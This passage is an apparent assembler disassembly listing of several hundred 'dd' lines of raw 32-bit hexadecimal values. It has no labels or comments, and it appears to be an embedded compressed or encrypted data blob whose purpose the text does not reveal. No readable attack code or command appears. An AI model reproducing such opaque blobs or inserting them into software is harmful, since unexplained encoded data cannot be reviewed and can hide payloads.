dd 0CE3980D6h, 508C0784h, 8007F47Dh, 90A7E589h, 0A0036674h
dd 0FD1292DAh, 0B3329024h, 5E700044h, 96EB555Ch, 0CD00EADDh
dd 0D4080991h, 2F9FE46h, 0F0B2F789h, 58623DB7h, 0BDCC3460h
dd 0AB2DDF00h, 7813156Ah, 0E45703C0h, 121A0F6Dh, 70F324C8h
dd 8DA7E607h, 6F50C920h, 18F614h, 52FB3688h, 0C3D54F35h
dd 0BAA32606h, 0D8C5F5h, 99E2B44Eh, 2AD2BD84h, 89203Ch
dd 0B6A3BAECh, 71D345E1h, 0C1C0029h, 99772A1Eh, 8CB0C748h
dd 24CA9501h, 74307B38h, 23BBD0h, 0C48218A3h, 51854626h
dd 56091C00h, 0E84A556Dh, 9F0E07FEh, 1FDD18D0h, 390BC09Ch
dd 4702B86Eh, 6FE39001h, 77E20A2Eh, 3D31864h, 625C7386h
dd 4E982FF0h, 6C00A495h, 0C75F064Dh, 1F3FBBFh, 422A8C0Ah
dd 0C8C8A550h, 4F3E6C5Dh, 498E80DAh, 34899C68h, 0A09E0075h
dd 0DE8DF4CAh, 0A60F1966h, 6F6F3099h, 0F37FA095h, 1CBEF67Ch
dd 408E7663h, 0CF923BB2h, 0A11F9119h, 7098B6CDh, 1D477C39h
dd 40770F9Bh, 241082EEh, 5630F7B0h, 92E7201Bh, 1F9EF4C2h
dd 0FCD048Bh, 221DD5Ch, 0E891E49Fh, 0B873FDDFh, 277A8200h
dd 636BB061h, 0E7AA1493h, 0BD3BFE8Fh, 6D052200h, 0EF145840h
dd 90D8EA07h, 0B290F608h, 0BE16B3h, 0CD79178Eh, 0C2B470FEh
dd 0B6B8C81Bh, 1E63D808h, 354502F4h, 59E16D75h, 28A72840h
dd 0AC815000h, 38B44DB3h, 376700FDh, 856612EFh, 4100CD43h
dd 3D28057Fh, 0FBC0A8h, 0FA4C3240h, 0C34BA142h, 0DDB01A00h
dd 650B26CCh, 0FCD04869h, 0D8675D00h, 5BD7AB20h, 0CB5E9C00h
dd 0F1D94CE1h, 49D403E7h, 265F35EBh, 0DD3F27C0h, 3A29B009h
dd 9C1C00A2h, 122AE7Ah, 6E364311h, 925ACE1Eh, 0C02527Ah
dd 0A84F010h, 0A3A80088h, 279A4A6Dh, 2DD0A10Ch, 36A013h
dd 793BB58Eh, 4F8BC43Dh, 2FEC30Fh, 1877805Dh, 322170h
dd 6184AB05h, 42C050CDh, 11070100h, 0D54C5C65h, 873807FAh
dd 10137244h, 5F9422B4h, 290F4200h, 75E24B85h, 0F6F70207h
dd 0CFE8ED6h, 0D7C91160h, 479DE100h, 296E3E34h, 0FB0C770h
dd 35A1F065h, 0AC0EB56Ch, 0A38FF3E7h, 0B08DF778h, 1A80588h
dd 6162EC9Dh, 0E0F0FD71h, 0F609D2D4h, 87501FAAh, 3F0D930h
dd 288D2151h, 1EB8F73Fh, 4022EDD5h, 20E8C9ABh, 6700E2ACh
dd 87B85C6Ah, 83C3BBh, 6204BA7Dh, 20214FA1h, 0E713A203h
dd 0F0C57568h, 0FF4EF9h, 0C17B0BEh, 18EC3C84h, 36E6700h
dd 737A0A22h, 7753746Ch, 0F7392678h, 48C10024h, 2F659524h
dd 0D8CD2503h, 0E0681093h, 0B2ED472h, 0AF4066E4h, 35E17500h
dd 1600177Dh, 0E9F0BB64h, 992010Fh, 6942BE8Ah, 43071500h
dd 0B1F0E479h, 91D3040Bh, 800C0EDBh, 51D88B30h, 7EED0226h
dd 92F49308h, 436E4061h, 85A04AAEh, 0C1EC2311h, 5176B400h
dd 7D75F895h, 4FE13C0Dh, 0F1C56E07h, 86C930DEh, 0CE014C9Ah
dd 0CF59A795h, 0B8E0995Eh, 5F1E0042h, 0A26E37CAh, 289140DCh
dd 89078507h, 0DD157640h, 1DCB006Ch, 0E54EEF75h, 551EA77Ah
dd 4D804FD5h, 0A38244EDh, 0D40E1DEAh, 47A80BCDh, 1E6C3000h
dd 20004A54h, 0E43DEDAEh, 0C2BBFFh, 37BE8483h, 0AC8D977Dh
dd 0B2318EF5h, 0A68F0018h, 3BF4DC2Eh, 4F87DA98h, 4072C65Bh
dd 6EDDD8A2h, 0BE00D9E4h, 4005E7D7h, 48C8FCh, 0E925A69Ch
dd 0C6498115h, 1C109E60h, 0F6A598Ch, 0EC4A8960h, 0CF13A860h
dd 0ED74E05Ch, 64C34200h, 5A1B0722h, 0FD190026h, 0E19DA515h
dd 0F5008FB7h, 3D0E71FCh, 1C153E2h, 6DACC5F4h, 0E84442E3h
dd 0EA2E3808h, 3300C99Eh, 0ECFF3901h, 87CA0036h, 0F7F43779h
dd 0A577EA57h, 31BC6000h, 0C808DB69h, 2D032601h, 0C66B00F8h
dd 84F82F14h, 68075FB0h, 213FF6Eh, 0FC01FD80h, 0EA3FE91h
dd 6CDC7109h, 6E346FA0h, 0C60E8DA9h, 87A29FB3h, 0EC80A836h
dd 482EE0D6h, 610094FAh, 2DB7D40Ch, 1273B304h, 3B17E600h
dd 8C40FD3Fh, 23AE000Ah, 2F15E1DEh, 0C8046C63h, 43B9AF89h
dd 53EA4880h, 0CE580076h, 0D5758213h, 340065F3h, 9D2808D2h
dd 57DD82Ah, 0B9A4924Fh, 8C20805Dh, 9E0305FCh, 0F7A2043Ah
dd 0F07F8847h, 0BF1800C8h, 0B3622F4h, 57007CBEh, 93B385DDh
dd 275DC72Ah, 2C018ACFh, 0C821DE50h, 2401052Fh, 2918518Dh
dd 35FC1E8Fh, 4E30005Bh, 691C5A74h, 0D0005340h, 0B87EF94Bh
dd 580BA243h, 603F8C6h, 0FB342A95h, 0EE9CB1C0h, 40EDE327h
dd 1A702A1h, 0F4144124h, 20537FF0h, 31001CE4h, 3655CA30h
dd 0F01BC927h, 66F80038h, 172AA954h, 8300EA0Ah, 0F4DE4AC1h
dd 9F4C25h, 0D0AF2407h, 0F713CA58h, 16930307h, 0F0F0683Dh
dd 0E4404B4Eh, 263B01DCh, 0C7191B1Dh, 5EFC30EBh, 3272FB00h
dd 2EC5E29Dh, 0BA390074h, 0A78069F4h, 8E00EC43h, 981F2138h
dd 9D8DD87h, 5ED96466h, 0CC00028Bh, 5D89CAE7h, 651CC800h
dd 6E25A4A2h, 0E3EAACh, 0E7F934B7h, 0D0F87121h, 0F5A3EC14h
dd 3FC980CCh, 1CD8D2ABh, 95E3212h, 1C23D44Eh, 2280FB45h
dd 0E807CAACh, 0D2A4E726h, 3F682741h, 91F460h, 0E169A06Bh
dd 0ABDD3D5Fh, 72330302h, 0C08A81E4h, 986E6FD9h, 0ECD80054h
dd 8F13AB06h, 8200DB1Dh, 0CC25CA22h, 50419Eh, 94FF920Eh
dd 4F2D3346h, 0D7DD0B8h, 0C1CB7703h, 0E02AFE75h, 0C631D1h
dd 90CD7B5Ah, 9CE66BCAh, 0E58C8600h, 57818099h, 9870F8D5h
dd 4D30044h, 0D6FEC252h, 47795324h, 7F5A9900h, 86D84BC3h
dd 0DF9F00C4h, 506E311Dh, 5300EEF8h, 0F7F18C7Ch, 2ED33A97h
dd 0BD7E35h, 1D026873h, 1E60DABFh, 3F995130h, 0BBAB0EAh
dd 3BB90A2Bh, 8912D022h, 9C01DCEEh, 40CC4724h, 0C770D6D8h
dd 424100CBh, 0BFA4239Ah, 0DC00B5C2h, 0C9D8E546h, 2717Fh
dd 85830D98h, 9E57F155h, 8C9F9C00h, 8FE2DD32h, 0BBD80090h
dd 0E535ED63h, 0F009A48h, 0A99B44CEh, 504A350h, 0F2CA7456h
dd 0BFE2001Fh, 0E01D1965h, 0A889B900h, 0AB8AF912h, 90F2036Fh
dd 0D364EC81h, 72D7488h, 829A8B00h, 1457BFFAh, 0C643001Fh
dd 0FDAEB44Ah, 0EE07FC5Ah, 926CD101h, 4CF3D000h, 0F19400B9h
dd 9D9B14A1h, 33A10A5h, 0EA01F8E3h, 9EB13E9Fh, 0A340D2CEh
dd 0F69C3C4h, 678AD0BDh, 0F16C2200h, 0A41D96B4h, 0FB3F7341h
dd 105BC700h, 0DB5AC204h, 285D2E22h, 275801A9h, 0ECE01E6Bh
dd 0F6581A5Bh, 53450025h, 1DC5986Ah, 41A10021h, 5BA517C1h
dd 7F1639C9h, 0F818B0A8h, 3958F820h, 0D200DD81h, 75CDF10Eh
dd 0D8C055A5h, 0C34A964Eh, 9D1F176Bh, 1B0D01C2h, 0E4988CCEh
dd 42001332h, 9AC8722Dh, 0F09622h, 175FA7CFh, 977F75C3h
dd 4D83ED00h, 0E3DD870h, 6A14887h, 409EB71Dh, 6C16577Eh
dd 2D18C8E5h, 5110112Ch, 8FC1000Fh, 0CB14627Bh, 0A2FE5C6Fh
dd 57A5ED13h, 0E5A9EC07h, 3AE61DD3h, 8F006388h, 47EC1B01h
dd 9DFEA2DAh, 545C0C07h, 83703491h, 6063A5h, 74B2E638h
dd 56D725C5h, 0E041A300h, 7B7EBCD0h, 0FA3D0CDFh, 0E218572Fh
dd 2A56F900h, 0C6357913h, 22BF0016h, 40E1AE75h, 8200CD1Ch
dd 0E3D01E04h, 34B1D3Ah, 54F1A95Dh, 800A8AFh, 49581698h
dd 787AD32Ch, 0F823003Ch, 0DAAC324Eh, 813FDBD2h, 0FED60ED7h
dd 0FCC0FF13h, 94DFD46Fh, 0DDE4E96Eh, 0BBF31D71h, 0E4FF0183h
dd 25E929FBh, 0A0EFDC34h, 276EE707h, 8130B2EAh, 0A07F4F76h
dd 509F21FBh, 13D8EFh, 4CB41A6Fh, 2B664297h, 297A91F6h
dd 4A135E76h, 90009E8Bh
dd 5AB0E09Ah, 32B10034h, 727779A1h, 2C00B4A8h, 58A5CA98h
dd 8ACB86h, 71E451F4h, 0BFC5654Fh, 0E6F4A1FAh, 30756A00h
dd 0DB726170h, 0DA9050h, 0D6CA5911h, 5A04EA25h, 38B05600h
dd 0C0F2812Eh, 707182h, 7DE42C62h, 54A2F857h, 0EC390C00h
dd 4D5386F3h, 77A1001Bh, 0D4B0E2C0h, 5E006411h, 1F7B7C93h
dd 78E37A5Ch, 0A8CA0E66h, 6840FBECh, 73F71975h, 72E896E0h
dd 0A3D9372Eh, 0E06EE200h, 8DD10Dh, 0EEC27616h, 5BAAADF9h
dd 31A2C401h, 0DA567D59h, 0A579F8h, 53CB7420h, 91D12F0Ah
dd 282AAD00h, 6E29D8C0h, 2BDB0047h, 4DC6D27h, 0B1D7805h
dd 724097CEh, 7715EF5Bh, 0B9580070h, 0ADE755A8h, 8B0067AEh
dd 42C87162h, 7E47CA5h, 0D2AC1D46h, 92170461h, 0D8402F4Ch
dd 500070E9h, 45B7E544h, 0EEAB11ACh, 5CF20040h, 0DC6A752Ah
dd 0E1EC7A7Bh, 14947F00h, 71F7BCA1h, 62602548h, 4C0F30DEh
dd 0B31720BAh, 0E6F57065h, 9DC500A8h, 0A03EC661h, 0F8B70A37h
dd 0BCCB00FFh, 2D5ACEEAh, 7977C76Fh, 5D9C8007h, 5797EDD9h
dd 0FCD27460h, 5C09022Dh, 0EB7C0D43h, 300FD0E0h, 3B25EE00h
dd 9E4C4815h, 0BE4907E5h, 18692F4h, 0D974E4B4h, 13BF7094h
dd 30E41251h, 0AC004AC2h, 0E6B75B40h, 0EAC0F82Bh, 0A7190A81h
dd 1D0C323h, 146B971Dh, 0CD312013h, 47C71701h, 45F50EC8h
dd 0A038CC32h, 37BAE20Fh, 589FCE8Eh, 0DB36D238h, 8155D338h
dd 0E602FB27h, 0D0515CFFh, 0B3C982E7h, 5398BA03h, 652C01A2h
dd 0FE0E8D1Ah, 1FD0B6Eh, 0CFA95F28h, 0DAA6FCh, 0C76B1A23h
dd 971CEA6Fh, 37600D0Ch, 2640DE16h, 600CDC9Eh, 0FF32183Fh
dd 43D6BD0Bh, 3D648125h, 5AEC91BFh, 6088001Fh, 0FF58DBC1h
dd 5C0067B5h, 454620CCh, 0C7EAE65h, 0AC0A799Bh, 6200BCB4h
dd 21474EC2h, 0EA6776F8h, 8D990043h, 8AFB5F1h, 0E900BB98h
dd 0A685AEE4h, 38B15FDh, 0CC3AC8B8h, 47C8F4B1h, 1E139603h
dd 0F04F9717h, 98D66085h, 20D48Ch, 0E465E2Fh, 0A446175h
dd 6C9D2918h, 7E248908h, 277C35h, 48239207h, 79FAA713h
dd 33A23400h, 732E4978h, 5C8C5897h, 7EC22C7Eh, 77280058h
dd 0F7AC5787h, 0D542DE07h, 9B6126C6h, 0C0C358EAh, 0E7A5CCh
dd 0D68BE665h, 0B119FE56h, 40BA6D00h, 2BA2D885h, 5B030B51h
dd 0DD80CEC1h, 330A4A5Ah, 0D4478400h, 140B542Eh, 8AE300C3h
dd 7F1D3C4Ch, 927B86C2h, 0A6438C00h, 0F462260Bh, 0F2C74C1Fh
dd 1FDB7479h, 22A4D0h, 27CE592h, 0C9F30CD1h, 6AF0402Ch
dd 251E5810h, 0C34038DFh, 0D7503CDAh, 0B6430035h, 0ABF261ECh
dd 40005328h, 3AE79B04h, 2C589F41h, 3518943h, 32C14C1Ah
dd 0BABE3000h, 0AB33FDA7h, 5840004Fh, 0B108DAA8h, 84B08E48h
dd 1F4D270Eh, 371B4763h, 80543660h, 240F010Bh, 0DEFC9473h
dd 15AC8ECh, 0C4E04E51h, 121E2869h, 1E876E2Fh, 2B704924h
dd 354770h, 20CDE15Ah, 3327DF61h, 4B533Ah, 3637BDD5h, 36244C3h
dd 0B5A3F70Fh, 20B0D006h, 0BC90F1ACh, 0CA0CD77Ch, 11F00921h
dd 5F28809Fh, 80C7EF40h, 35034A7Dh, 0D3461DFEh, 0E097E3FBh
dd 30E05A7Eh, 64A8F9EAh, 0EF7CDFB1h, 0BDB83703h, 0F013A4EEh
dd 156406Dh, 4163102Eh, 80DC7AADh, 0C9FAAB48h, 1150CB67h
dd 0E637DFh, 7EE95FD5h, 0A44DC4h, 283D1643h, 18F0BE34h
dd 844BB301h, 56B5E901h, 3923C6D8h, 1C80C2C1h, 0E1A3CE83h
dd 7274012Dh, 94D74E00h, 553FCA4Fh, 0AE690088h, 820330FBh
dd 5F002037h, 124B6F9Ch, 7E10ECh, 0F0C3FA52h, 1BA78E4Ah
dd 7FACE64Ch, 898BED00h, 26ADBBE0h, 356F81Eh, 971B760Dh
dd 0B929EF45h, 0E17104EEh, 1CE23C0h, 0E3B2452Dh, 86F8E0A5h
dd 0E97C5920h, 79150029h, 0FFEFC623h, 801EBED5h, 0EE03406Fh
dd 697D24h, 67967979h, 0D1E8254Ch, 116C7484h, 549E5Dh
dd 0B5E28BAEh, 19C98FD7h, 8B7DFFDh, 1F218091h, 0B8DEE290h
dd 77870164h, 0B40DA4EDh, 88A73172h, 80EA4198h, 7C95A0C6h
dd 5D6FE39Eh, 0FB6B8078h, 608BF3A3h, 0B04EB0D3h, 65036853h
dd 9ECEAF79h, 687FF7h, 57899B1Eh, 16E8C7C6h, 1CA6A2ECh
dd 31E41D40h, 0B170FCDDh, 32163093h, 1000C9E6h, 7960AE5Bh
dd 185E4AE5h, 0F902D58Ch, 10167D9h, 0C51A7F62h, 9937EEAh
dd 3984496Fh, 4BFFA000h, 0BE1B7B78h, 2C05BE3h, 68EF59D0h
dd 0D4A4C0F6h, 1644C09Ch, 0DA766378h, 0DB2B4317h, 81212218h
dd 0A5C10092h, 2794CA71h, 3E01664Fh, 43E8FE3Fh, 4C48965Eh
dd 5C010469h, 2CE04A7Fh, 150003Fh, 903704F3h, 600D507h
dd 0BAFAB244h, 0C0F830D4h, 62156B48h, 55006384h, 1885EAF6h
dd 3C928B0h, 0B38CE1F0h, 887469FBh, 0A8A3A688h, 3DCFACF0h
dd 0BC875E25h, 70908326h, 0F0949C88h, 0CA3DE600h, 47799ECFh
dd 1F8D0055h, 0A95B8C50h, 7D18F89Dh, 0BE4956A0h, 5ACF0004h
dd 8770C085h, 0F60015FAh, 9D891C5Dh, 1A6678h, 46C87475h
dd 0C641F7AAh, 51F85406h, 79C922D4h, 889500CEh, 0C0BAB2B4h
dd 8CC3A6Dh, 2F2158h, 16A295AEh, 0C4E7B7FEh, 6B4898E9h
dd 24F13529h, 218FA6Fh, 5D7F76D7h, 9F080460h, 0D4747D28h
dd 0DF79570Eh, 4CB7A085h, 2B5A4228h, 0F0B2EFh, 7B64C161h
dd 8085DC53h, 49C158B7h, 0CB023464h, 7FB1E153h, 78184084h
dd 0E92C0E03h, 374240FCh, 90A06081h, 0F3CDF409h, 6906A906h
dd 3A3058E3h, 5960F73Ch, 22516AA8h, 20130D09h, 94338129h
dd 0A560797Fh, 2BE0018Ah, 0D4B9232Dh, 0EE608028h, 1D2F1343h
dd 4A390072h, 0D3E86921h, 900587E5h, 0CD5951E1h, 274105AAh
dd 8C1ECFh, 42095A1Eh, 7B39B1C6h, 0FE348136h, 0E9C73BCCh
dd 5038BEECh, 15B5ACF8h, 0A8F6F37Bh, 5B121863h, 3E881E4h
dd 69FD10CCh, 0A689280h, 0CF8402A0h, 80742180h, 43C1ED60h
dd 6F1EA276h, 0BF003893h, 6C88836Eh, 7CA1034Ah, 0FDBBEA7Dh
dd 5100FAC3h, 5C93B71Fh, 654B2CBDh, 24AB58CEh, 9368825Ch
dd 8E28930h, 0CB5FD74Fh, 1541A764h, 0D42CE296h, 394C5A3Ah
dd 26DE01DDh, 7BE921C1h, 629E1C20h, 6BD6E823h, 4D68C448h
dd 26B64100h, 439DF7BBh, 0FAD00085h, 0C754575Bh, 2B008173h
dd 461E0F8Ah, 9AAC9B9Eh, 77590980h, 0D422F7D5h, 6868A693h
dd 8E747A80h, 4898B4A0h, 0C925E26h, 60061DC0h, 2A6A467Fh
dd 3B00FC13h, 2650164h, 26AFA642h, 7C89E3h, 0CF56BB20h
dd 1F280A93h, 0CE01AC6Ah, 5717733Bh, 742669EFh, 67C16601h
dd 0CDB2B7Bh, 5DBC88F5h, 41C3C11Fh, 0F7ED7286h, 51780019h
dd 8C65C6ACh, 9F07D512h, 796EF2E4h, 5E8BE3h, 0F3817EF8h
dd 0A3BD0FFFh, 0C7245B07h, 0EAAE6B3Ch, 0C90580CDh, 0B440A4E6h
dd 2F2AA95Eh, 8AF0A0C8h, 65C6C7FAh, 6BDAC021h, 0E8C028BFh
dd 4813C06Dh, 2BE976C4h, 0FFC59FCh, 0D722E05Fh, 316CAAFh
dd 12E287BBh, 0BEF8BDB4h, 0D7595C4Fh, 0B44824h, 0A9CD8EF1h
dd 5F0BDEh, 66B33679h, 0CAB790CEh, 7B612E1Eh, 0F001EC29h
dd 6D2FEC7Eh, 152E458h, 3EBA0D20h, 0FE09C72Ch, 0CF16C080h
dd 9926530Bh, 40303581h, 631F2D34h, 0E57AF0E6h, 5A0E80Fh
dd 480813FBh, 0C167C0ACh, 43217B62h, 0C891DAh, 2C15EE5h
dd 536AA7Dh, 582AD99Bh, 0A300C1AEh, 0D07181B3h, 0B48399F1h
dd 0DB861082h, 0AC804A67h, 0AA0FF67Bh, 5A4318C6h, 2AB4680h
dd 781DC164h, 12C7315Bh, 0D788C082h, 0EB6B0ACEh, 0F0C89Bh
dd 0B68CBB66h
dd 1D4DDB79h, 0A55A00E0h, 0B2C873B8h, 0A34F0722h, 322DF6FBh
dd 584492F1h, 0B83CBB0Ah, 46748479h, 9F8F00CBh, 0BAC7C341h
dd 177B18B4h, 900191CEh, 0EDA4921Fh, 254E95C5h, 9318D059h
dd 92B0FDF0h, 35EE1DD4h, 27D0316Eh, 46C900F6h, 582D48A2h
dd 9E771862h, 2F2034C4h, 2E850E58h, 19F263FDh, 18AFC0E8h
dd 69C10860h, 0D0C4BB7Bh, 0C1978640h, 6B1CA31Fh, 1165F7E6h
dd 60D2FE0Ch, 7C60664Ch, 0C6DD24EBh, 0D81E8570h, 29B04033h
dd 0AA446396h, 9203ABE2h, 7E1E1FC7h, 11BEA0EFh, 24854D57h
dd 7B19AC48h, 8B24F218h, 8767B369h, 206F5C44h, 68E578DEh
dd 9DB62CF1h, 249F094Ch, 6424502Bh, 60686293h, 0BB127F48h
dd 401008B0h, 16F3E00h, 703AC22Ch, 94640145h, 0ED7D0954h
dd 0DA477043h, 0F44DCE24h, 502F6B81h, 0C032D25Ch, 39F14B00h
dd 7F08BA72h, 8BAF543Fh, 80F80113h, 0E9C2FCB0h, 9E6912CDh
dd 4F840A4h, 290C9C3Eh, 888C900h, 0CCF0D557h, 14C600E8h
dd 8BF46AF6h, 8D05C586h, 0E05A850Ch, 306F48C2h, 8E1195B6h
dd 258862B4h, 95682D82h, 27BBE007h, 0DA730461h, 80ED76CCh
dd 0C399ADECh, 98255B29h, 86556DD8h, 0E8768A16h, 91CB7500h
dd 25FE3563h, 4A97D59h, 96C22882h, 0DE771E00h, 3B14B886h
dd 6204D508h, 569E9Fh, 0AB9929F9h, 3A640567h, 87F13CECh
dd 198208B4h, 605D8A61h, 309A38D4h, 0E839579Fh, 66E85E77h
dd 0F5644D01h, 8B990A4Fh, 5CC7A6D8h, 0C98004F2h, 69329313h
dd 36F67912h, 0D4E63480h, 1C1A48CEh, 4E1B653Fh, 0C103183Eh
dd 500386EEh, 7C200013h, 0FD5FD641h, 5544FF6Ah, 0A0CAEEDBh
dd 71905CA8h, 0E6ED0159h, 0F9E11FAAh, 0E77CE552h, 6BFD5102h
dd 0E80376D6h, 3193B5FCh, 0F7A0FE5Ah, 9974249Bh, 0CCAFC0CAh
dd 88CB3912h, 89C0A7C8h, 5808850h, 743CF2Dh, 0D6F480F8h
dd 0AC06C333h, 0D0D7EBB5h, 82677479h, 186E0841h, 68C10465h
dd 32DB737Bh, 5C8320CAh, 3500B4C1h, 0FA0C9156h, 4859AA09h
dd 6898007Ah, 1C80CBBFh, 0B6D00B9h, 54077C49h, 39304059h
dd 3BCB29F8h, 0D34082C2h, 0DC4A24CCh, 34DB6846h, 1677029h
dd 0B7C29FD1h, 0DC130443h, 662A6979h, 2400DC72h, 34C73BCFh
dd 0B2EAC3h, 6C96A974h, 573125A5h, 0A41E6801h, 601AF3A3h
dd 0A34E5820h, 0A40F2E8h, 84B51184h, 3CC10162h, 8422E042h
dd 1513CC0h, 0EC007DE1h, 83E7B178h, 506B81C3h, 0C69E0ADh
dd 6D5967Eh, 780FA151h, 60438AA3h, 0F75C66A7h, 16E9C0CEh
dd 0DE76BCB9h, 6B33A800h, 99F58E56h, 0FAB50EA6h, 2096FDBAh
dd 774F1200h, 48EC2B4Dh, 165230Ch, 0B4849550h, 88261852h
dd 9500B163h, 70CFE218h, 2ADCB03Eh, 4680C381h, 6160291h
dd 31627F5Bh, 38985015h, 0E5B00165h, 156D33Dh, 34DA2761h
dd 80726CB0h, 29304BF2h, 31DB3342h, 55B0CFA9h, 4D019668h
dd 0BA5A75EAh, 3460E358h, 0C136FC64h, 0A6828A29h, 78A0C4EDh
dd 0B530DA00h, 0E387FE09h, 7DFD1EA1h, 4638011Eh, 0F48C6658h
dd 43012FE0h, 0BAA793D5h, 0B5ED77BBh, 13421820h, 1206F9ADh
dd 98C7A10h, 68DA2DFAh, 2EBE799Ch, 9774BA97h, 8E6C12CDh
dd 0C0C8C8ECh, 85283A16h, 2950638h, 0D75C5176h, 8FC8A024h
dd 7B553093h, 1B5300EFh, 6FB9055Ah, 3100C129h, 0A3723C6Ah
dd 1032D67h, 801F0C2Fh, 231669F8h, 4013F180h, 0B73AF50Ch
dd 3FC80456h, 9CE2A35Fh, 0B13024F2h, 0A9440066h, 0BC9A32C8h
dd 7C262A34h, 50CECCA8h, 32D2D382h, 482BDB02h, 481EC68Ch
dd 0A3BC3C6Eh, 5F840F8Ch, 7C0F711Eh, 6F079900h, 1231A943h
dd 0F7692841h, 0CBC4A0FAh, 8A8527h, 5E2D13BBh, 0F29F651Dh
dd 34C47E00h, 0CFEFE478h, 14B8ABh, 0CB67C131h, 1615D8D1h
dd 795FA030h, 186C5F8h, 0B595C944h, 3094777Bh, 0EA006980h
dd 875DE0BFh, 17CDF853h, 21CF24Eh, 0ED2C7ECh, 0B09D5C6Ah
dd 3E8EA211h, 95DA23E0h, 8C2ACAA4h, 1E016C83h, 63D62815h
dd 5FD454BDh, 0F3CCEAF8h, 9EDB7064h, 0C1519EE8h, 41176622h
dd 0E4F5701Ah, 0D3096879h, 2B6BDAAAh, 91D49770h, 0F01C80D0h
dd 9A59BBA1h, 0A6650CA0h, 0B4048BFBh, 5A4E8498h, 4D01146Bh
dd 5315FCC9h, 12482979h, 64407A37h, 0AA77B7F9h, 0EDB4A028h
dd 71F4A82h, 0D976D3ACh, 8E7B489h, 2601A44h, 2500C16Fh
dd 0BCB05D90h, 4C7AE0A4h, 681D4C82h, 0F66F0964h, 71246C20h
dd 41C11BDBh, 0D292D0F5h, 791123E0h, 0AAA40015h, 762E6617h
dd 1EE8CCE0h, 0AE638917h, 7CE68880h, 27F09E56h, 0ECB7A89Ah
dd 3A38E680h, 5B8BD1Ch, 0DBA1C163h, 0A9CC005Ah, 3369EB7Fh
dd 87A65007h, 5550FB91h, 0A6D90BF8h, 955A2790h, 902397DEh
dd 290E1F11h, 3BA195ACh, 0E87949F7h, 9499535Fh, 4C9461Ah
dd 1F400190h, 0B66BAAC7h, 0F0C3F82Ah, 38022173h, 571CC469h
dd 80B7F0D4h, 0F292EEE4h, 4B9E1841h, 4AF958AEh, 0B15ED100h
dd 0E68203CDh, 22AA805Bh, 0FF4BA902h, 8813AD40h, 0D3C41C9Eh
dd 0E0110605h, 0BE0C4FF8h, 0B0FB2DB8h, 6584169Fh, 23182F48h
dd 0DA06006Fh, 86C177D0h, 355F2313h, 0AF796C05h, 1510282Eh
dd 0C400DD40h, 0D9DBF710h, 0A982382Fh, 0EB40028Ah, 6A8401A8h
dd 2099E2A3h, 3B26CC70h, 0A700ACA8h, 8955F587h, 95A90161h
dd 0E23A8685h, 21F5204Dh, 0A00C2490h, 48EC0F22h, 9E1BF87Bh
dd 4AA609A8h, 606EA427h, 0F4382EB2h, 8B7C3718h, 98C36C19h
dd 0F7232460h, 480741ACh, 0E96C304Ch, 0C24FD878h, 0BC6B5403h
dd 2031C980h, 0D9EAD887h, 0FA54416Dh, 0F9CECC51h, 0C739A498h
dd 502531F2h, 825F1F7h, 0AFC0EC3Ch, 0C17A0D76h, 24EC3858h
dd 0AA9330EFh, 0DEF0DCC9h, 8EDB2A85h, 0A7FE80BCh, 409AA3h
dd 1549C6Ch, 6399AD50h, 1E185660h, 178A068Fh, 0DF69ED04h
dd 1FBA00A4h, 1C2C5775h, 5490034Ch, 0BFC11B49h, 51AF7AE0h
dd 584C0674h, 0B51800F8h, 0C1126329h, 198B0070h, 6A4609B1h
dd 1B0FBD54h, 69EEA061h, 1470E9F8h, 0A40860h, 9FC68433h
dd 0F00CFB0Fh, 0B9637400h, 1A12953Ah, 96783FB0h, 8053C164h
dd 1EF85080h, 0B109D893h, 3AB48495h, 2E00D88Eh, 4B649567h
dd 415F706Ah, 19F6A47Dh, 0D702DE07h, 809AC276h, 9593B1D0h
dd 6190BE72h, 3C78BED5h, 8DEE0264h, 9E928C91h, 1E382320h
dd 8CE7B709h, 0B9D6202Dh, 30013C8Ch, 38359A1Dh, 3D2E836h
dd 736BCB05h, 0A440CFF6h, 0FCD05FABh, 0DD0C006Fh, 0B8F06DC6h
dd 6A2D8DD6h, 91E817B6h, 8C5F8091h, 17075552h, 9CEF3ECBh
dd 10BCAF3Ch, 490465Eh, 0F42B006h, 26DE5C81h, 0BCE04303h
dd 1F13B714h, 0D0D0F81Dh, 255E8592h, 0A4A0D829h, 6706B512h
dd 7F176B00h, 91E2103h, 531D0272h, 22B0FD6Eh, 0DC249CA2h
dd 8C006452h, 8A712D5Bh, 9801A965h, 40A14A3Ch, 1D7F1CE0h
dd 7202FE11h, 8D56FBC9h, 1E072D5h, 0E71A21AAh, 204593BAh
dd 41070EA7h, 0C3CD5C65h, 539EEF60h, 7F550738h, 4B6D1AEDh
dd 0F684E811h, 22E42CC5h, 5B898E60h, 4A58C700h, 0D5F3EA07h
dd 0F191C005h, 0E0A294F0h, 16D4A85Ch, 0F8C9C2B8h, 484FCBE0h
dd 850764E2h, 0CB2684E7h, 0DF0148ECh, 2F30D302h, 6030C454h
dd 0D0E174Eh, 0FC140A42h, 815E11ECh, 0D7B0E284h, 0D08BE845h
dd 0E2910E00h, 8B2CAD96h, 1A7FD901h, 0DBC414AAh, 6451A839h
dd 0B05ECC00h, 0E7B8C07Eh, 230C846Ah, 80007178h, 658706AFh
dd 7926E66h, 0A2C59F0Dh
dd 891D5137h, 0D694516Ah, 0ACF0502Eh, 0E000DD43h, 62C9A3D4h
dd 17B486h, 0F6EC2853h, 898CA95Dh, 55255F74h, 90CCA0D4h
dd 0A0B98Ah, 9EB49FBDh, 4501CBB5h, 68B1FD14h, 0ECA098DCh
dd 0CB5A4A67h, 0C0D68850h, 9F0398CAh, 37037C7Dh, 0D715E65Ch
dd 55B90027h, 4819BD6Eh, 77712875h, 0F4078C01h, 7D4ED4D5h
dd 1CB54AD0h, 8067436Dh, 8DFBDDEBh, 0CCA053C7h, 0C20CE86Bh
dd 512DD213h, 95350023h, 5BDE859Ch, 3D05BDA5h, 8AED7B50h
dd 0FD134CC1h, 0F8F7B600h, 6156A9C5h, 0A510BD87h, 2C76D0E1h
dd 0B64E879h, 6C008910h, 0FA7D9F39h, 484F249h, 6DD17BB5h
dd 3D5D8C0h, 2CE09022h, 2449108h, 0F2CFAEF1h, 19C594A1h
dd 0B8F86855h, 20018C58h, 0E6CD4C96h, 3B2B03E0h, 21F2364h
dd 0AA085FE6h, 81E9E482h, 630E24F9h, 0F6097EA9h, 0A1084177h
dd 0F900942Ch, 940C5968h, 44148906h, 0ACD468Bh, 0F474979Fh
dd 516DFD89h, 420A01A0h, 2C559F05h, 7F808030h, 7E7033Bh
dd 0B52D922Ch, 685A72AAh, 7794905Ch, 43C70BCBh, 0E464C566h
